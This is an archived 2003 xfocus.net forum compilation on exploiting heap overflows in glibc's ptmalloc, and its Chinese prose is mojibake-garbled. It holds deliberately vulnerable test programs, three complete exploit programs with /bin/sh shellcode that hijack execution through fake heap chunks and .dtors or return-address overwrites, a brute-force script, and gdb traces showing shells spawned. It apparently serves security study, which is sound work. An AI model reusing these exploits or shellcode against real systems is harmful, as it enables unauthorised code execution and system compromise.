xfocus logo xfocus title
Ê×Ò³ ½¹µãÔ­´´ °²È«ÎÄÕª °²È«¹¤¾ß °²È«Â©¶´ ½¹µãÏîÄ¿ ½¹µãÂÛ̳ ¹ØÓÚÎÒÃÇ
Ìí¼ÓÎÄÕÂ English Version

¼¸¸ö¹ØÓÚа汾glibcÉ϶ÑÒç³ö¼°ÀûÓõÄÑÝʾ


´´½¨Ê±¼ä£º2003-09-18
ÎÄÕÂÊôÐÔ£ºÕûÀí
ÎÄÕÂÀ´Ô´£ºhttp://www.xfocus.net   (backend/watercloud/S4m/dumplogin)
ÎÄÕÂÌá½»£ºwatercloud (watercloud_at_xfocus.org)

¼¼ÊõÌÖÂÛÓÉbkbllµÄÒ»¸ö¼¼Êõ²âÊÔ³ÌÐòÒýÆð£¬¿ÉÒԲο¼ËûµÄ¡¶Ò»ÖÖС¶Ñ(heap)Òç³öµÄÁíÀàÀûÓ÷½·¨¡·

Õâ´ÎµÄÌÖÂÛÓÉbackend·¢Æð£¬ÌùÓÚUnix Hacking°æ£¬ºóÀ´´ó¼Ò½øÐÐÁ˷dz£ÉîÈëµÄÌÖÂÛ£¬²Î¿¼£º
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202


-------------backendµÄÌû×ÓÈçÏÂ-------------
©¶´³ÌÐò£º

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int foo(char *s1,char *s2)
{
        strcpy(s1,s2);
        printf("input:%s\r\n",s1);
        return 0;
}

main(int argc,char **argv)
{
        char *p1;
        char *p2;

        if(argc<2)
        {
                printf("Usage:%s <string>\n",argv[0]);
                exit(0);
        }
        if(strlen(argv[1])>100-1)
        {
                printf("ERROR:too long\n");
                exit(0);
        }
        p1=(char *)malloc(20);
        p2=(char *)malloc(100);
        memset(p1,0,20);
        memset(p2,0,100);
        strcpy(p2,argv[1]);
        foo(p1,p2);
        free(p1);
        free(p2);
        printf("END.\n");
        exit(0);
}

$ gcc -o heapvul heapvul.c


¡ï Òç³ö´úÂë

/* Concept-of-proof exploit for free() @ Wolfram Gloger's ptmalloc2
*
*  By backend at nsfocus.com (http://www.nsfocus.com)
*  Date: 2003-09-15
*
*  Compile: gcc -o ex2 ex2.c -lbfd
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>

#define VULPROG "./heapvul"

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define bfd_error(s)    { bfd_perror(s); exit(-1); }

unsigned int bss_addr, dtors_addr;

void GetBfdInfo ()
{
        bfd                     *abfd;
        asection        *asec;

        bfd_init ();

        abfd = bfd_openr (VULPROG, NULL);
        if (!abfd) bfd_error("openr");

        if (!bfd_check_format (abfd, bfd_object))
                bfd_error("object format");

        asec = bfd_get_section_by_name (abfd, ".bss");
        if (!asec) bfd_error(".bss section");
        bss_addr = (unsigned int)(asec->vma);

        asec = bfd_get_section_by_name (abfd, ".dtors");
        if (!asec) bfd_error(".dtors section");
        dtors_addr = (unsigned int)(asec->vma);

        bfd_close (abfd);
}

char shellcode[] =
  "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char **argv)
{
  unsigned int codeaddr = 0;
  char buf[40], fake_chunks[40];
  char *env[2];
  unsigned int *ptr;

  codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  env[0] = shellcode;
  env[1] = NULL;

  GetBfdInfo ();

  ptr = (unsigned int *)fake_chunks;
  *ptr++ = 0x11223344;
  *ptr++ = (0xbffff800 - bss_addr) & ~(IS_MMAPPED | PREV_INUSE);
  *ptr++ = dtors_addr + 4 - 12;
  *ptr++ = codeaddr;
  *ptr++ = 0x11223344;
  *ptr++ = -16 | PREV_INUSE & ~IS_MMAPPED;
  *ptr++ = 0x08080808;
  *ptr++ = 0x08080808;

  bzero(buf, 40);
  memcpy (buf, fake_chunks, sizeof (fake_chunks));

  execle (VULPROG, VULPROG, buf, NULL, env);

} /* End of main */

[backend@redhat8 nsfocus]$ gcc -o ex2 ex2.c -lbfd
[backend@redhat8 nsfocus]$ ./ex2
input:D3"`û·¨¸ÿÿŸm3"?ÿÿ
END.
sh-2.05b$

ÔÚRed Hat 8.0ÉÏÑé֤ͨ¹ý¡£

¾ßÌå·ÖÎö¹ý³ÌÉÔºó·Å³ö¡£ÏÈÇë´ó¼ÒÀ´ÌÖÂÛÌÖÂÛ¡£





----------------watercloud¸úÌùÈçÏÂ--------------------
ÎÒÒ²¸úÒ»¸ö  :)


©¶´³ÌÐò£º

[cloud@rsas tmalloc]$ cat v3.c
#include<stdio.h>
#include<stdlib.h>

int main(int argc,char *argv[],char *env[])
{
    unsigned int addr[1] = {NULL};
    char * p0 = malloc(8);
    char * p1 = malloc(8);

     if(argc >1)
        strncpy(p0,argv[1],16);

    printf("env[0]=%p env[1]=%p p0+8=%p ret_main=%p\n",env[0],env[1],((int)p0)+8,&addr[2]);
    free(p0);
    free(p1);
    return 0;
}

ÎÒÃǵÄÌõ¼þ±È½Ï¿Á¿Ì£¬ÒªÇóÖ»Äܸ²¸Ç16×Ö½Ú¡£

ÀûÓóÌÐò˼·ÊǸ²¸Çp1µÄǰ8¸ö×Ö½Ú£¬²¢¹¹Ôì»·¾³±äÁ¿Ê¹µÃfree(p1)ʱp1µÄnextchunkÔÚ»·¾³±äÁ¿ÖУ¬
ÔÙÔÚ»·¾³±äÁ¿Öй¹ÔìnextchunkµÄÏÂÒ»¸ö¿éʹµÃnextchunkΪ¿ÕÏп飬²¢¹¹Ôìnextchunk->fd
ºÍbk£¬Ê¹µÃunlink nextchunkʱ¸²¸Çmainº¯Êý·µ»ØµØÖ·Ö¸Ïò»·¾³±äÁ¿ÖеÄshellcode¡£

Õâ¸ö¹ý³ÌÎÒÃÇÐèÒª²Â²âÄ¿±êp1µÄµØÖ·ºÍÄ¿±êmainº¯ÊýµÄ·µ»ØµØÖ·¡£
ÎÒÃǵÄÒÀ¾ÝÊÇͨ¹ýÀûÓóÌÐò×ÔÉíµÄµÚÒ»¸ömallocµÄ·µ»ØµØÖ·¼ÓÉÏÒ»¸öÆ«ÒÆÀ´²Â²âÄ¿±êp1£¬
ͨ¹ý×ÔÉímain·µ»ØµØÖ·¼ÓÒ»¸öÆ«ÒÆÀ´²Â²âÄ¿±êmain·µ»ØµØÖ·¡£

(¸²¸Ç.got»ò.dtor£¬È»ºó²Â²â¶ÑÇøºÍÕ»Àï»·¾³±äÁ¿µÄÆ«ÒÆÀ´¿ÉÄܸü¿É¿¿)¡£



ÀûÓóÌÐò£º
[cloud@rsas tmalloc]$ cat exv3.c

#include<stdio.h>
#include<stdlib.h>

#define TCMD  ".///v3"

unsigned int MALLOC_OFF=0x208;
unsigned int MAIN_OFF=0x438;

char shell[]=
                "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80";
char * env[3];
char * arg[3];

int main(int argc,char *argv[])
{
   unsigned int addr[1] = {NULL};
   unsigned int RET_FUNC = ( (int)&addr[2])+MAIN_OFF;

   char * p0 = malloc(8);
   unsigned int t_chunk = 0xc0000000 - 36 +8 -strlen(TCMD)-2-4;
      //sizeof(chunk=36) chunk+8=nextchunk chunk=nextchunk's nextchunk :)

   unsigned int t_shell = t_chunk - 8- strlen(shell)-1;
   unsigned int alig = t_chunk - ( ((int)p0) - MALLOC_OFF);
   unsigned int chunk[9] = {0xfffffff8,0xfffffff8,alig |0x1,0xfffffff9,RET_FUNC-12,t_shell,
           0x41424344,0x41424344,0x41424344};
   unsigned int argument[8] = {0x41414141,0x42424242,0xfffffff0,alig |0x1};

   if(argc >1)
   {
      alig+=atoi(argv[1]);
      chunk[2]=alig | 0x1;
      argument[3]=alig | 0x1;
   }
   if(argc >2)
   {
      RET_FUNC+=atoi(argv[2]);
      chunk[4]=RET_FUNC-12;
   }


   env[0]=shell;
   env[1]=chunk;
   //env[0]="XX_PRELOAD=/home/cloud/malloc/malloc.so";
   env[2]=NULL;

   arg[0]=TCMD;
   arg[1]=argument;
   arg[2]=NULL;

   free(p0);

   printf("tshell=%p tchunk=%p tp1= %p RET_FUNC=%p ret=%p\n",t_shell,t_chunk,t_chunk-alig,RET_FUNC,&addr[2]);
   execve(TCMD,arg,env);
   return 0;
}

µÚÒ»¸öÆ«ÒÆÊÇexv3ÖеÚÒ»¸ömallocºÍv3ÖеÚÒ»¸ömalloc¼äµÄÆ«ÒÆ£¬Ò»°ãÊÇ32-128¼ä£»
µÚ¶þ¸öÆ«ÒÆÊÇexv3µÄmain·µ»ØµØÖ·ºÍv3ÖÐmain·µ»ØµØÖ·¼äµÄÆ«ÒÆ£¬Ò»°ãÊÇ0-96¼ä£»



ÔÚRedHat9ÉϲâÊÔ£º
[cloud@rsas tmalloc]$ ./exv3 56 64
tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496d8 RET_FUNC=0xbffffe9c ret=0xbffffa24
env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c
sh-2.05b$


ÔÚredhat8ÉϲâÊÔ£º
[cloud@watercloud ex-malloc]$ ./exv3 32 48
tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x8049630 RET_FUNC=0xbffff21c ret=0xbfffedb4
env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x8049630 ret_main=0xbffff21c
sh-2.05b$


Ö»Òª¿´µ½´òÓ¡ÐÅÏ¢µÄtp1ºÍp0+8ÏàµÈÇÒret_mainºÍRET_FUNCÏàµÈ¾ÍÐÐÁË¡£
×î¶àÔÙ¼Ó¸öshell³ÌÐòµ÷ÓÃexv3±©Á¦Çî¾Ù¿Ï¶¨Äܳɹ¦ :)

[cloud@rsas tmalloc]$ cat ex3.sh
#!/bin/sh
heapoff=0
while [ $heapoff -le 128 ] ; do
  retoff=0;
  while [ $retoff -le 128 ] ;do
    echo ./exv3 $heapoff $retoff
    ./exv3 $heapoff $retoff  
    retoff=$(($retoff+8))
  done
  heapoff=$((heapoff+8))
done


[cloud@rsas tmalloc]$./ex3.sh

   . . . . . .

tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496e0 RET_FUNC=0xbffffeec ret=0xbffffa34
env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c
./exv3 56 0
tshell=0xbfffffac tchunk=0xbfffffd8 tp1= 0x80496d8 RET_FUNC=0xbffffe6c ret=0xbffffa34
env[0]=0xbfffffac env[1]=0xbfffffd0 p0+8=0x80496d8 ret_main=0xbffffe9c
sh-2.05b$







-----------------------------S4m¸úÌùÈçÏÂ--------------------------

żҲÀ´´Õ¸öÈÈÄÖ,±¾À´ÏëÖØÐ±àÒëglibc´úÂë,µ«ÊÇû³É¹¦,Ö»ºÃ±ß¿´»ã±à±ß·ÖÎö.
Ìù¸öµ÷ÊÔ¹ý³Ì,ËãÊǶÁºó¸Ð°Ñ :)
²âÊÔ»·¾³ redhat 8.0 glibc-2.2.93-5


(gdb) x/10i $pc
0x42073fdd <_int_free+109>:     lea    (%edi,%esi,1),%ecx       //nextchunk = chunk_at_offset(p, size);
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax           //nextsize = chunksize(nextchunk);  
0x42073fe3 <_int_free+115>:     mov    %ecx,0xffffffec(%ebp)
0x42073fe6 <_int_free+118>:     mov    %eax,0xffffffe4(%ebp)    //netchunk
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax         //ÕâÀﵱǰ¿éµÄsize±ØÐëÊÇ8µÄ±¶Êý
0x42073fec <_int_free+124>:     testl  $0x1,0xffffffe0(%ebp)    //if (!prev_inuse(p)) ? ÉÏÒ»¿éÊÇ·ñ¿ÕÏР 
0x42073ff3 <_int_free+131>:     mov    %eax,0xffffffe8(%ebp)    
0x42073ff6 <_int_free+134>:     jne    0x4207400b <_int_free+155>  //unlink ÏÂÒ»¸ö¿é
0x42073ff8 <_int_free+136>:     mov    0xfffffff8(%edx),%eax
0x42073ffb <_int_free+139>:     sub    %eax,%esi
(gdb) i r edi esi ecx
edi            0xfffffff0       -16
esi            0x8049750        134518608
ecx            0xfffffff1       -15
(gdb) si
0x42073fe0 in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx
ecx            0x8049740        134518592
(gdb) x/10x 0x8049740
0x8049740:      0x00000000      0xfffffff0      0x41414141      0x42424242
0x8049750:      0x11223344      0xfffffff1      0x11223300      0xfffffff0
0x8049760:      0x41414141      0x42424242
(gdb) x/i $pc
0x42073fe0 <_int_free+112>:     mov    0x4(%ecx),%eax
(gdb) si
0x42073fe3 in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) si
0x42073fe6 in _int_free () from /lib/i686/libc.so.6
(gdb)
0x42073fe9 in _int_free () from /lib/i686/libc.so.6
(gdb) i r ebp
ebp            0xbffffea8       0xbffffea8
(gdb) x/x 0xbffffea8 + 0xffffffec
0xbffffe94:     0x08049740
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) x/i $pc
0x42073fe9 <_int_free+121>:     and    $0xfffffff8,%eax
(gdb) si
0x42073fec in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) i r ebp
ebp            0xbffffea8       0xbffffea8
(gdb) x/x 0xbffffea8 + 0xffffffe0
0xbffffe88:     0xfffffff1
(gdb) x/i $pc
0x42073fec <_int_free+124>:     testl  $0x1,0xffffffe0(%ebp)
(gdb) si
0x42073ff3 in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) si
0x42073ff6 in _int_free () from /lib/i686/libc.so.6
(gdb) x/i $pc
0x42073ff6 <_int_free+134>:     jne    0x4207400b <_int_free+155>
(gdb) si
0x4207400b in _int_free () from /lib/i686/libc.so.6
(gdb) x/10i $pc
0x4207400b <_int_free+155>:     mov    0xfffffff0(%ebp),%eax
0x4207400e <_int_free+158>:     mov    0xffffffec(%ebp),%ecx
0x42074011 <_int_free+161>:     cmp    0x54(%eax),%ecx             // if (nextchunk != av->top)  ÊÇ·ñ·ñtop¿é?
0x42074014 <_int_free+164>:     je     0x420740f2 <_int_free+386>  // Èç¹ûÊÇÔòÌø×ª
0x4207401a <_int_free+170>:     mov    0xffffffe8(%ebp),%eax       // nextchunk->size
0x4207401d <_int_free+173>:     testb  $0x1,0x4(%eax,%ecx,1)    [2]// (next + nextchunk->size)->size ÕâÀïÅжÏnextchunkÊÇ·ñ¿ÕÏÐ(¼´ÏÂÏ¿éµÄsizeµÄPREV_INUSEλÇåÁã)
0x42074022 <_int_free+178>:     jne    0x420740e0 <_int_free+368>  // Èç¹ûnextchunk¿é²»¿ÕÏÐÔòÌø×ª
0x42074028 <_int_free+184>:     mov    %ecx,%edx                   // nextchunk
0x4207402a <_int_free+186>:     mov    0x8(%ecx),%ecx              // fd
0x4207402d <_int_free+189>:     mov    0xc(%edx),%eax              // bk
(gdb)
0x42074030 <_int_free+192>:     mov    0xffffffe8(%ebp),%edx      
0x42074033 <_int_free+195>:     mov    %eax,0xc(%ecx)              // unlink(nextchunk, bck, fwd) Õª³ýµ±Ç°¿é
0x42074036 <_int_free+198>:     add    %edx,%edi
0x42074038 <_int_free+200>:     mov    %ecx,0x8(%eax)
0x4207403b <_int_free+203>:     mov    %edi,(%edi,%esi,1)
0x4207403e <_int_free+206>:     mov    0xfffffff0(%ebp),%eax
0x42074041 <_int_free+209>:     mov    %edi,%ecx
0x42074043 <_int_free+211>:     or     $0x1,%ecx
0x42074046 <_int_free+214>:     add    $0x5c,%eax
0x42074049 <_int_free+217>:     mov    0x8(%eax),%edx
(gdb) i r ebp
ebp            0xbffffea8       0xbffffea8
(gdb) x/x 0xbffffea8 + 0xfffffff0
0xbffffe98:     0x4212b180
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) si
0x4207400e in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0x4212b180       1108521344
(gdb) x/x 0xbffffea8 + 0xffffffec
0xbffffe94:     0x08049740
(gdb) si
0x42074011 in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx
ecx            0x8049740        134518592
(gdb) x/x 0x4212b180 + 0x54
0x4212b1d4 <main_arena+84>:     0x080497b8
(gdb) x/i $pc
0x42074011 <_int_free+161>:     cmp    0x54(%eax),%ecx
(gdb) si
0x42074014 in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx
ecx            0x8049740        134518592
(gdb) si
0x4207401a in _int_free () from /lib/i686/libc.so.6
(gdb) x/i $pc
0x4207401a <_int_free+170>:     mov    0xffffffe8(%ebp),%eax
(gdb) x/x 0xbffffea8 + 0xffffffe8
0xbffffe90:     0xfffffff0
(gdb) si
0x4207401d in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0xfffffff0       -16
(gdb) i r eax ecx
eax            0xfffffff0       -16
ecx            0x8049740        134518592
(gdb) x/x 0x8049740 + 4
0x8049744:      0xfffffff0
(gdb) x/x 0x8049740 + 0xfffffff0                                         //Ö¸ÏòÒ»¸özeroÇøÓò, ¸ÕºÃÂú×ã[2]
0x8049730 <_GLOBAL_OFFSET_TABLE_+44>:   0x00000000
(gdb) si
0x42074022 in _int_free () from /lib/i686/libc.so.6
(gdb) x/i $pc
0x42074022 <_int_free+178>:     jne    0x420740e0 <_int_free+368>
(gdb) si
0x42074028 in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx edx
ecx            0x8049740        134518592
edx            0x8049758        134518616
(gdb) x/i $pc
0x42074028 <_int_free+184>:     mov    %ecx,%edx
(gdb) si
0x4207402a in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx edx
ecx            0x8049740        134518592
edx            0x8049740        134518592
(gdb) x/10x 0x8049740
0x8049740:      0x00000000      0xfffffff0      0x41414141      0x42424242
0x8049750:      0x11223344      0xfffffff1      0x11223300      0xfffffff0
0x8049760:      0x41414141      0x42424242
(gdb) x/i $pc
0x4207402a <_int_free+186>:     mov    0x8(%ecx),%ecx
(gdb) x/x $ecx+8
0x8049748:      0x41414141
(gdb) si
0x4207402d in _int_free () from /lib/i686/libc.so.6
(gdb) i r ecx
ecx            0x41414141       1094795585
(gdb) x/i $pc
0x4207402d <_int_free+189>:     mov    0xc(%edx),%eax
(gdb) x/x $edx+0xc
0x804974c:      0x42424242
(gdb) si
0x42074030 in _int_free () from /lib/i686/libc.so.6
(gdb) i r eax
eax            0x42424242       1111638594
(gdb) x/x $ebp + 0xffffffe8
0xbffffe90:     0xfffffff0
(gdb) i r edx
edx            0x8049740        134518592
(gdb) si
0x42074033 in _int_free () from /lib/i686/libc.so.6
(gdb) i r edx
edx            0xfffffff0       -16
(gdb) i r eax ecx
eax            0x42424242       1111638594
ecx            0x41414141       1094795585
(gdb) x/4i $pc
0x42074033 <_int_free+195>:     mov    %eax,0xc(%ecx)
0x42074036 <_int_free+198>:     add    %edx,%edi
0x42074038 <_int_free+200>:     mov    %ecx,0x8(%eax)
0x4207403b <_int_free+203>:     mov    %edi,(%edi,%esi,1)
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0x42074033 in _int_free () from /lib/i686/libc.so.6
(gdb) x/i $pc
0x42074033 <_int_free+195>:     mov    %eax,0xc(%ecx)
(gdb)


-bash-2.05b$ cat > ex3.c
/* by Sam
* Sam@0x557.org
*/
#include <stdio.h>

#define dtors_addr      0x080496f8 + 4 - 12


char shellcode[]=
                "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "j\vX\x99Rhn/shh//biT[RSTY\xcd\x80";


int main (int argc, char **argv)
{
        int     retaddr;
        char    dummy[24], expbuf[256], *args[24], *envs[24];

        bzero (expbuf, sizeof (expbuf));
        bzero (dummy, sizeof (dummy));

        retaddr = 0xbffffffa - (strlen ("./heap2") + 1) - (strlen (shellcode) + 1);
        printf ("retaddr addr 0x%x\n", retaddr);
        printf ("retloc  addr 0x%x\n", dtors_addr);


        *(int *)&dummy[0] = 0x11223344;
        *(int *)&dummy[4] = 0xfffffff0;
        *(int *)&dummy[8] = dtors_addr;
        *(int *)&dummy[12] = retaddr;
        *(int *)&dummy[16] = 0x11223344;
        *(int *)&dummy[20] = -16 | 0x1 &~ 0x2;


        memcpy (expbuf, dummy, sizeof (dummy));

        args[0] = "./heap2";
        args[1] = expbuf;
        args[2] = NULL;

        envs[0] = shellcode;
        envs[1] = NULL;


        execve (args[0], args, envs);
                perror ("execve");

        return 0;


}

-bash-2.05b$ make ex3
cc     ex3.c   -o ex3
-bash-2.05b$ ./ex3
retaddr addr 0xbfffffce
retloc  addr 0x80496f0
input:D3"&eth;&yuml;&yuml;&yuml;&eth;&Icirc;&yuml;&yuml;&iquest;D3"&ntilde;&yuml;&yuml;&yuml;
END.
sh-2.05b$




--------------------------END-------------------
Ç¿ÁÒÍÆ¼ö´ó¼Ò¿´¿´Ô­°æµÄÌÖÂÛ:
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28202